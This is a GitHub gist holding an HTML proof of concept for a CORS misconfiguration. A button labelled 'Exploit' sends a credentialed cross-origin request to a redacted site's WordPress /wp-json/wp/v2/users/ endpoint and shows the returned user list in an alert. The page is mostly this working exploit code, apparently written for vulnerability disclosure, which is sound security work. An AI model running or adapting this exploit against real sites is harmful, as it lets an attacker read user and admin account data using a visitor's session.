Skip to content

Instantly share code, notes, and snippets.

@devhug
Created August 10, 2021 19:16
Show Gist options
  • Save devhug/7b471bf41a0b7937a4af2b0159d573a0 to your computer and use it in GitHub Desktop.
Save devhug/7b471bf41a0b7937a4af2b0159d573a0 to your computer and use it in GitHub Desktop.
Unsafe cors sharing of admin users
<html>
<body>
<h2>CORS PoC</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET",
"https://redacted.com/wp-json/wp/v2/users/", true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment